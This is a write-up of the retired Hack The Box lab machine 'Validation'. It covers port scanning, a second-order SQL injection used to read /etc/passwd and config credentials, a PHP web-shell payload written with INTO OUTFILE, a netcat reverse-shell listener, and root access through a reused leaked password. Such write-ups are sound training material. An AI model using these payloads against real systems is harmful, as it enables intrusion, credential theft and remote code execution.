Validation is another machine from the UHC event and is currently live on Hack The Box as a retired machine. It starts with enumeration on a website and identifying a second order SQL injection. The SQL user can use various SQL functions, two of which allow for file read and file write. The web configuration, which contains database credentials, can be read using the file read ability. With the file write ability and also write permission on the web root, it is possible to drop a web shell to gain a foothold on the system. For the root part, the password for the database is found to be re-used by the root account.

Skills Learned

  • Web enumeration
  • SQL injection


  • Nmap
  • Burp Suite



All TCP ports scan with nmap discovers 4 open ports: SSH on 22, three web servers on 80, 4566 (probably LocalStack), and 8080.

→ kali@kali «validation» «» 
$ fscan validation
nmap -p- | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
nmap -p 22,80,4566,5000,5001,5002,5003,5004,5005,5006,5007,5008,8080 -sC -sV -oA nmap/all-tcp-ports-validation
Starting Nmap 7.91 ( ) at 2021-09-22 16:46 EDT
Nmap scan report for
Host is up (0.051s latency).

22/tcp   open     ssh            OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
|   256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_  256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp   open     http           Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open     http           nginx
|_http-title: 403 Forbidden
5000/tcp filtered upnp
5001/tcp filtered commplex-link
5002/tcp filtered rfe
5003/tcp filtered filemaker
5004/tcp filtered avt-profile-1
5005/tcp filtered avt-profile-2
5006/tcp filtered wsm-server
5007/tcp filtered wsm-server-ssl
5008/tcp filtered synapsis-edge
8080/tcp open     http           nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 16.07 seconds

The filtered ports indicate that there are some firewall/IP table rules applied on the machine.


TCP 80 - Website

Port 80 presents a registration page of UHC. Adding index.php reveals that it’s PHP site.


I can register on it, and it redirects to /account.php. The submitted inputs (country and username) are reflected back here, and this can be an indicator for injection point.


The HTTP request for register, which was previously intercepted using Burp Suite, is as follows:

POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Connection: close
Upgrade-Insecure-Requests: 1


And the server responses with 302 which redirects to /account.php.

HTTP/1.1 302 Found
Date: Wed, 22 Sep 2021 21:08:19 GMT
Server: Apache/2.4.48 (Debian)
X-Powered-By: PHP/7.4.23
Set-Cookie: user=f1bffe3047f1550d765a66e3ac54515c
Location: /account.php
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

The response also contains a cookie which is md5sum of the username.

→ kali@kali «validation» «» 
$ echo -n 'choropys' | md5sum                                                                 


SQL injection


I will submit another registration request with the following payload,

POST /index.php HTTP/1.1



Now when I navigate to /account.php with updated cookie, the page displays an error message.


If I search for fetch_assoc() on Google, it’s a PHP function that typically used to handle database records.

Now if I change the country value to Indonesia' -- # , the page doesn’t error out. From here, I can assume that the site is vulnerable to SQL injection.


I will submit country=Indonesia'ORDER BY 1,2 -- # to identify the number of available columns, and the /account.php page returns with the same error.


So the query in the backend only wants a single column.

Leak source

I couldn’t find any credentials on the database, but I found out that the MySQL load_file() function isn’t restricted. I can read the /etc/passwd file using that function.

username=choropys&country='UNION SELECT load_file('/etc/passwd') -- #

When I refresh /


Since the location of account.php has been leaked by the error message, I can try to load that file with country='UNION SELECT load_file('/var/www/html/account.php') -- #. When I refresh the account.php page and view its source, the source code of account.php is there, and it also leaks the configuration file.


I can try to read config.php by changing my payload to country='UNION SELECT load_file('/var/www/html/account.php') -- #, and it reveals database credentials.


I will note these creds.

Shell as www-data

Web shell

I also find that writing files is allowed on /var/www/html/, therefore I could put a web shell there.

username=choropys&country='UNION SELECT "<?php system($_REQUEST[c]); ?>" INTO OUTFILE "/var/www/html/chrp.php" -- #	

And now I have code execution.


Reverse Shell

The system does have bash, but my reverse shell doesn’t work with the GET method, so I changed the request to use the POST method and URL encode the payload.


On my listener

→ kali@kali «validation» «» 
$ nc -nvlp 21                                                
listening on [any] 21 ...
connect to [] from (UNKNOWN) [] 37096
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@validation:/var/www/html$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I will upgrade my shell.

www-data@validation:/var/www/html$ which script
which script
www-data@validation:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@validation:/var/www/html$ ^Z
[1]  + 113 suspended  nc -nvlp 21
→ root@kali «exploits» «» 
$ stty raw -echo; fg
[1]  + 113 continued  nc -nvlp 21


The root flag is readable by others, so I could grab it.

www-data@validation:/home/htb$ ls -lR /home
total 4
drwxr-xr-x 2 root root 4096 Sep 9 12:09 htb

total 4
-rw-r--r-- 2 root root 33 Sep 22 22:14 user.txt

I also noticed that I’m inside a Docker container because there is .dockerenv at the root file system

www-data@validation:/$ ls -l .dockerenv
-rwxr-xr-x 2 root root 0 Sep 16 13:39 .dockerenv

Privilege Escalation

Shell as root

su root

In the previous enumeration using SQLi, I didn’t see user htb listed in the /etc/passwd file, and it’s only root that has a login shell. So I tried the database password I obtained from the config.php file on root, and it worked.

www-data@validation:/$ su -   
su -
Password: uhc-9qual-global-pw


I thought I needed to escape from this container, but when I checked the /root/ directory, the root flag was there.

root@validation:/# ls -l /root/root.txt 
-r-------- 2 root root 33 Sep 22 22:14 root.txt

I also briefly thought that maybe a player had left a copy of the root flag of the host in this container. But, after I watched the official walkthrough video by ippsec and read the writeup by 0xdf, the box ended this way 😅.